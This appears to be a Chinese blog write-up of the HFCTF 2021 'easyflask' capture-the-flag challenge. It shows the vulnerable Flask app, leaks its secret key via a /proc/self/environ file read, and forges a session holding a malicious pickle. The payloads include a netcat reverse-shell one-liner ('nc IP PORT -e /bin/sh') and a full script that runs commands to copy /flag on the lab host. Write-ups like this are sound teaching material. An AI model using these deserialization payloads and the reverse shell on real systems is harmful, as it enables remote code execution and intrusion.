[HFCTF 2021 Final]easyflask

import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"

@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'
    with open(path, 'r') as fp:
        content = fp.read()
    return content

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'
    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

简单分析一下

代码很简单,就是/file路由处有个读文件的方法,然后不能读 py、sh 、flag

路由/admin 处判断session是不是字典,然后拿到字典中 b 的值base64解码,反序列化

这题的思路很简单,就是 pickle 反序列化时的 RCE

import pickle
from base64 import b64encode

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (eval, ("__import__('os').system('nc IP PORT -e /bin/sh')",))
})

u = pickle.dumps(User())
b = b64encode(u).decode()
print(b)

这里利用 __reduce__ 来反弹一个 shell出来

# 访问环境变量得到 key
/file?file=/proc/self/environ
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

# 构造 {'u':{'b':b'dump序列化后的结果'}} 的session

在这里插入图片描述

本来以为这样就结束了,替换掉session,访问 /admin 触发反弹shell

结果这东西不弹shell出来,不出网吗,去网上找了一下wp,他们不都是直接弹个shell 结束,麻了

还有什么我没发现的?又试了几种方式弹shell都不行

得,不要shell了,直接读 /flag

反复的替换 session也怪麻烦的,写个脚本

from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import base64
import pickle
import requests

app = Flask(__name__)
app.secret_key = 'glzjin22948575858jfjfjufirijidjitg3uiiuuh'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (eval, ("__import__('os').system('cat /flag > /tmp/paidx0')",))
})

b = {
    "b": base64.b64encode(pickle.dumps(User()))
}
print(b)

def index():
    print(session_serializer.dumps({'u': b}))
    return session_serializer.dumps({'u': b})

cookie = index()
url = "http://90489f8f-3823-4015-8a37-c5e77d74c414.node4.buuoj.cn:81/"
headers = {
    "Accept": "*/*",
    "Cookie": "session={0}".format(cookie)
}
req = requests.get(url + "/admin", headers=headers)
req = requests.get(url + "/file?file=/tmp/paidx0", headers=headers)
print(req.text)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值